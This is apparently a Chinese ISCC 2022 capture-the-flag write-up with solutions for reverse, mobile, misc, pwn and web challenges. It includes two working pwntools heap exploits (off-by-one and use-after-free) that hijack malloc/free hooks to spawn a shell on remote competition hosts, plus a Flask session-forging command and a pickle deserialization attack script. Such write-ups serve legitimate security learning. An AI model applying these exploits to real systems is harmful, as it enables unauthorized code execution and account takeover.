故,此时得到了信息,表2经过了加密,故我们需要再对表2进行解密;
import base64
flag = "W1BqthGbfhNWXVN1BGJifhBVoVpVgOz5YOzqs01FoY1qtWRABWtcuG9koF0"
f = []
for i in range(len(flag)):
tmp = ord(flag[i])
if 'A' <= flag[i] <= 'Z':
tmp = (ord(flag[i]) - 67) % 26 + 65
elif 'a' <= flag[i] <= 'z':
tmp = (ord(flag[i]) - 99) % 26 + 97
f.append(tmp)
flag = ""
for i in f:
flag += chr(i)
print(flag)
table1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
tmp_table = []
for i in range(len(table1)):#对ida之中表2的解密
tmp_table.append(ord(table1[i]))
tb = tmp_table
for i in range(5,19):
tmp = tmp_table[i]
tmp_table[i] = tb[i + 26]
tb[i + 26] = tmp
table1 = ""
for i in range(len(tb)):
table1 += chr(tb[i])
table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
flag = "".join(flag)+"===="#填充=号字符
print("1. 字母替换: "+flag)
flag = base64.b64decode(flag.translate(str.maketrans(table1,table2)))
print("2. base1: "+str(flag))
flag = base64.b64decode(flag)
print("2. base2: "+str(flag))
#ISCC{XMOntqmU-wK9rfSB0-f4BWx6G8}
ISCC{XMOntqmU-wK9rfSB0-f4BWx6G8}
MOBLIE
MobileA
利用jadx工具进行逆向分析,利用初步分析如下:
此时模仿轮替加密来进行对密文符号顺序进行恢复;
a = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
i = 0
i2 = 5
z = False
while i2 >= 0:
if not z:
i3 = 3
while i3 >= 0:
a[i] = i3 * 6 + i2
i+=1
i3-=1
z = True
else:
i4 = 0
while i4 <= 3:
a[i] = i4 * 6 + i2
i+=1
i4+=1
z = False
i2-=1
flag = "=1PmCCY=gQbcBQlnngbhpEEA"
md5 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
l = 0
for i in a:
md5[i] = flag[l]
l+=1
for i in range(len(md5)):
print(md5[i],end='')
#phBcCmEbQbCPEglQY1Anng==
将上述脚本所得到的进行md5解密,结果为yes;
同时发现上面代码之中存在key与iv两个对应AES解密之中的key与偏移量;故根据代码执行流程,先进行Base64加密;然后作为key与偏移量进行AES解密;
K@e2022%%y -base64-> S0BlMjAyMiUleQ==
I&V2022*** -base64-> SSZWMjAyMioqKg==
MW5QM0JPcklpSEN6L1l4RG1UekhNZz09 -base64解密-> 1nP3BOrIiHCz/YxDmTzHMg==
使用AES在线解密网址进行解密
ISCC{ASDxv*&^@!FGHJ_yes}
MISC
单板小将苏翊鸣
可以发现附件中图片明显高度过低,故利用winhex修改
解码如下:
\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f
利用Unicode解码:
在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
2022冬奥会共获得15块奖牌,分别为9金4银2铜;所以压缩包的密码为15942;可以得到压缩包里面的flag;
ISCC{beij-dbxj-2009}
降维打击
发现附件为png图片;大小为301KB;故图片隐藏了某些东西;使用foremost
┌──(kali㉿kali)-[~/桌面]
└─$ foremost misc-DimensionalityReductionStrike-14.png -T
Processing: misc-DimensionalityReductionStrike-14.png
|*|
发现多出了一个极其模糊的图片;猜测为LSB等隐写技术;故利用zsteg该解密工具进行尝试;
zsteg -E “b1,r,lsb,yx” 00000567.png > p.png
将图片导出;发现为魔女文字,故对照魔女文字进行解密;
ISCC{INGZ-AXBP-FXLS}
藏在星空中的诗
附件存在一张psd图片,使用PS打开并将不透明度调至100%,可以发现存在密文;
该密文为13524,并通过Poem.txt来得到解压密码
1:☆✪٭☪✲
2:✡🟇⍟⍟✸
3:✡٭🟃✧🟔
4:★✡⍟☆✦
5:🌠✧⚝🟔🞱
解压密码: ☆✪٭☪✲✡٭🟃✧🟔🌠✧⚝🟔🞱✡🟇⍟⍟✸★✡⍟☆✦
根据Exel表之中的密码解密得到如下flag;
1.flag=
2.ISCC{
3.IAWKZ
4.EICFJ
5.TKHZ}
ISCC{IAWKZEICFJTKHZ}
ISCC{IAWKZEICFJTKHZ}
真相只有一个
附件之中存在stream无后缀的文件,故使用hex查看文件格式,猜测为zip;
故修改后缀为zip,解压发现需要密码;而发现图片的LSB通道之中隐含部分密码;
经过测试发现该密码不完整;故利用ARCHPR进行爆破,发现密码19981111;
然后使用WireShark打开该流量包,发现TFTP传输之中包含了mp3文件,故导出该文件;
利用Audacity音频工具打开该mp3文件;
发现音频部分解密为isccmisc;而flag.txt部分存在SNOW加密;但是需要密码;故我们利用mp3所得到的密码来对flag.txt进行SNOW解密;得到flag
ISCC{vnQd-Hjnf-yEev}
2022冬奥会
附件之中存在题图,使用winhex打开修改高度;
发现原图片之中隐藏的密文;
发现其为NCR编码;解密发现原文;
并且题目提示"2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦"
故原型分别为熊猫和灯笼,而提示了国宝(熊猫),那么就剩下了灯笼,尝试"灯笼"
发现压缩包密码为"灯笼";解压,发现存在图片jpg;修改后缀明为txt打开,发现flag;
ISCC{beij-dahb-1042}
隐秘的信息
首先已知信息为ZWFzeV90b19maW5kX3RoZV9mbGFn该字符串,通过base64解密发现easy_to_find_the_flag该字符串;该字符串为压缩包密码;解压发现图片;
经过尝试,查看LSB:
使用如下脚本转换为flag;
a = "fffe92a68686f6d4e4d08e96e8686684c2c4e292aa6c8ae8d4e464fa01f8007f"
a = int(a,16)
b = str(bin(a))[17:]
for i in range(0,len(b),8):
tmp = int(b[i:i+8],2)
print(chr(tmp),end='')
#ISCC{jrhGKt43BabqIU6Etjr2} ü ?
ISCC{jrhGKt43BabqIU6Etjr2}
藏在星空中的诗-2
发现一长串极具有特征的字符,故使用藏在星空中的诗该题目之中的密文转换表,得到unicode编码;转为字符即可;
这里可以根据较为明显的特征ISCC{}
来发现其密文转换表;
这里根据密文可以发现其为unicode编码格式,而字符"I"的unicode编码为\u0049;对于这\🌟🌠🌠✴🟉该符号;即知🌠对于0,✴对于4,🟉对应9;
同时这三个字符🌠对应U+1F320,✴对应U+2734,🟉对应U+1F7C9;
可以发现规律,即其特殊符号的unicode编码最后一位对应着原文数字;
同理,我们可以将所有的unicode转换为原文,进而可以转换为中文,即出现flag;
\🌟🌠🌠✴🟉->\u0049
\🌟🌠🌠★⍣->\u0053
\🌟🌠🌠✴⍣->\u0043
\🌟🌠🌠✴⍣->\u0043
\🌟🌠🌠✧≛->\u007b
\🌟🌠🌠✴★->\u0045
\🌟🌠🌠✴⍣->\u0043
\🌟🌠🌠✴✯->\u004f
\🌟🌠🌠✴≛->\u004b
\🌟🌠🌠✴☆->\u0046
\🌟🌠🌠✴🌠->\u0040
\🌟🌠🌠✴🌠->\u0040
\🌟🌠🌠✲☆->\u0026
\🌟🌠🌠✴★->\u0045
\🌟🌠🌠✴✮->\u004e
\🌟🌠🌠✲✸->\u0028
\🌟🌠🌠✧✧->\u0077
\🌟🌠🌠✴✴->\u0044
\🌟🌠🌠✧✴->\u0074
\🌟🌠🌠✧⚝->\u007d
整理得
\u0049\u0053\u0043\u0043\u007b\u0045\u0043\u004f\u004b\u0046\u0040\u0040\u0026\u0045\u004e\u0028\u0077\u0044\u0074\u007d
unicode转中文即可获取flag
ISCC{ECOKF@@&EN(wDt}
ISCC{ECOKF@@&EN(wDt}
套中套(未写,未交
发现附件为压缩包与一个png图片,使用winhex打开png发现头部信息缺失,故添加上png文件头信息;
查看图片发现flag的一部分;
flag1: wELC0m3_
;
flag2: _ISCC_Zo2z
;
wELC0m3__ISCC_Zo2z
擂台PWN
careless_note
libc版本为2.23远古版本;增删改查皆有;存在off by one漏洞;故可以利用该漏洞造成堆块重叠;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './careless_note'
r = remote('123.57.69.203',8010)
#r = process(binary)
#elf = ELF(binary)
#libc = elf.libc
libc = ELF('/home/pwn/question/iscc/libc-2.23.so')
bss_chunk =0x06020C0
def Allocate(size=0x18,payload=b'/bin/sh\x00'):
r.sendlineafter("Your choice :",'1')
r.sendlineafter("Size of Heap : ",str(size))
r.sendafter("Content of heap:",payload)
def Edit(index,payload):
r.sendlineafter("Your choice :",'2')
r.sendlineafter("Index :",str(index))
r.sendlineafter("Your choose:",str(1))
r.sendlineafter("Content of heap : ",payload)
def Free(index):
r.sendlineafter("Your choice :",'2')
r.sendlineafter("Index :",str(index))
r.sendlineafter("Your choose:",str(0))
def Show(index):
r.sendlineafter("Your choice :",'3')
r.sendlineafter("Index :",str(index))
one = [0x45226,0x4527a,0xf03a4,0xf1247]
Allocate(0x308)#0
Allocate()#1
Free(0)
Allocate(0x18,b'a'*8)#0
Show(0)#泄露地址
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-232-0x280-libc.symbols['__malloc_hook']# leak libc
malloc_hook = libc_base+libc.symbols['__malloc_hook']
Allocate(0x8)#2
Free(0)
Free(2)
Allocate(0x98)#0
Allocate(0x58)#2
Allocate(0x98)#3
Free(0)
Edit(2,b'b'*0x50+p64(0x100)+p8(0xa0))
Free(3)
Allocate(0x68)#0
Allocate(0x68)#3
Allocate(0x68)#4
Free(0)
Free(3)
Free(4)#堆风水,构造布局
Edit(2,b'c'*0x38+p64(0x71)+p64(malloc_hook-0x23))#常规位置
Allocate(0x68)#0
Allocate(0x68)#3
Edit(3,b'd'*0x13+p64(one[1]+libc_base))#写入__malloc_hook为one_gadget
success("libc_base -> "+hex(libc_base))
success("bss_chunk -> "+hex(bss_chunk))
#gdb.attach(r)
r.sendlineafter("Your choice :",'1')#申请堆块,触发__malloc_hook
r.interactive()
- 首先利用unsorted bin块特性泄露libc地址,进而可以计算出system函数地址以及malloc_hook函数地址;
- 构造堆分水,进而修改fastbin的fd指针指向
malloc_hook-0x23
位置,进而修改其为gadget即可;
ISCC{7c74-bf11-4428-a609-1f76}
ezuaf
该为64位2.27libc的附件,存在漏洞为UAF;
故,我们可以首先申请较大的堆块来泄露地址,进而计算出system地址与free_hook地址;进而利用UAF漏洞造成tcache bin的fd指针指向free_hook,修改其内容为system地址,进而free(“/bin/sh”);获取权限;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './ezuaf'
#r = process(binary)
r = remote('123.57.69.203',8020)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')
def Allocate(size=0x18):
r.sendlineafter(":",'1')
r.sendlineafter("Input size:",str(size))
def Edit(index,payload):
r.sendlineafter(":",'2')
r.sendlineafter("Input page\n",str(index))
r.sendlineafter("Input your massage:",payload)
def Free(index):
r.sendlineafter(":",'3')
r.sendlineafter("Input page",str(index))
def Show(index):
r.sendlineafter(":",'4')
r.sendlineafter("Input page",str(index))
Allocate(0x410)#0 unsorted bin -> 泄露地址,计算偏移
Allocate()#1 tcache bin -> 利用UAF,造成任意地址写
Allocate()#2
Free(0)
Show(0)#leak
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols["__malloc_hook"]
system = libc_base+libc.symbols["system"]
free_hook = libc_base+libc.symbols["__free_hook"]
Free(1)
Edit(1,p64(free_hook))#修改tcache的fd指针指向free_hook
Allocate()#3
Allocate()#4
Edit(4,p64(system))#修改free_hook内容为system
Edit(2,b'/bin/sh\x00')#填充"/bin/sh\x00"特殊字符串
success(hex(libc_base))
#gdb.attach(r)
Free(2)#相当于执行了system("/bin/sh");
r.interactive()
ISCC{1ae2-4ac8-403b-97df-13ae}
擂台MISC
666
压缩包存在密码,故使用winhex打开,发现为伪加密;故修改全局方位标记为00;
解压发现存在图片与压缩包;而压缩包是存在密码的,故我们猜测密码位于图片之中,故我们采用隐写工具steghide来搜索图片之中可能存在的隐藏的内容
发现新的图片,故我们尝试修改高度,发现特殊字符:
!@#$%678()_+
为压缩包密码,其中为流量包,经过一番搜索,发现了一个神秘的网址;
神秘的链接,发现为一个gif动态图,然后
base1:SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
base2:pQLKpP/EPmw301eZRzuYvQ==
共三段base64密文,可以拼凑为两个base64密文,进行解密发现为:
HIDEkey:852 987456321 98423 98423 REALkey:xSxx
通过九宫格键可以推导出ISCC,故我们接下来进行AES解密:
AES解密网站,进行解密:(得到flag
ISCC{lbwmeiyoukaig}
擂台Reverse
Encode(未写完
代码流程较为简单,如下,则进入encode函数分析代码流程;
如下,为encode函数加密过程:
擂台Web
Melody
首先通过查看源码,发现一个有趣的链接:
访问之后,提示只能用Melody浏览器登录
;故使用BP抓包工具修改User-Agent:
为User-Agent: Melody
再次访问;再次提示The url format of the query information:/info/?Melody=
;
说明存在Melody该GET变量;通过测试发现存在SSTI模板注入;
此时发现通用密钥,故可以利用SECRET_KEY来绕过flask的session认证;meldoy-is-so-cute-wawawa!
;如下利用python之中的flask-unsign工具来自动破解secretkey,然后修改cookie内容并重新签名;
┌──(kali㉿kali)-[~/.local/bin]
└─$ python3 flask-unsign --sign --cookie “{‘username’:‘admin’}” --secret ‘meldoy-is-so-cute-wawawa!’
eyJ1c2VybmFtZSI6ImFkbWluIn0.YnSNQg.8SUJyF58jVP7UHQMHMtTQ_JkiUY
此时登录,并修改Cookie保持会话为如上内容!此时,发现没有flag;但是查看源码时候,发现了view-source:http://59.110.159.206:7040/static/real_flag_part.py
该源码;引用了pickle库;故可以利用pickle反序列化来获取flag
# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request
class register:
def __init__(self,name,password):#初始化账户密码
self.name = name
self.password = password
def __eq__(self, other):#当使用==将会调用该函数 判断账户密码是否相同
return type(other) is register and self.name == other.name and self.password == other.password
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)#返回对象的属性值
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()#load()将对象反序列化
#发现/therealflag页面,方式拥有GET、POST传参
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
if request.method == 'POST':#需要POST传参
try:
data = request.form.get('melody')#获取表单参数molody
if b'R' in base64.b64decode(data):#不允许存在object.__reduce__()方法
return 'no reduce'
else:
result = find(base64.b64decode(data))#base64解码 并执行RestrictedUnpickler函数
if type(result) is not register:#判断类型
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':#判断会话是否为admin
return Response(read('./flag.txt'))#返回flag
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
#如果直接访问/therealflag页面,将会返回一个base64加密的序列化函数
test = register('admin', '123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)
故利用pickle反序列化进行攻击,如下为脚本;
import requests
import pickle
import pickletools
import base64
class register:
def __init__(self,name,password):#初始化账户密码
self.name = name
self.password = password
a = pickle.dumps(register("melody","hug"))#该处无需添加参数,protocol=0
c = pickletools.optimize(a)#精简序列
#pickletools.dis(c)
if b'R' in c:#判断是否合法
print("no")
pick = base64.b64encode(c)
url = "http://59.110.159.206:7040/therealflag"
head = {
"Cookie": "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YnSNQg.8SUJyF58jVP7UHQMHMtTQ_JkiUY"
}
data = {
"melody": pick
}
r = requests.post(url=url,data=data,headers=head)
print(r.text)
ISCC{2022_melody_secrets}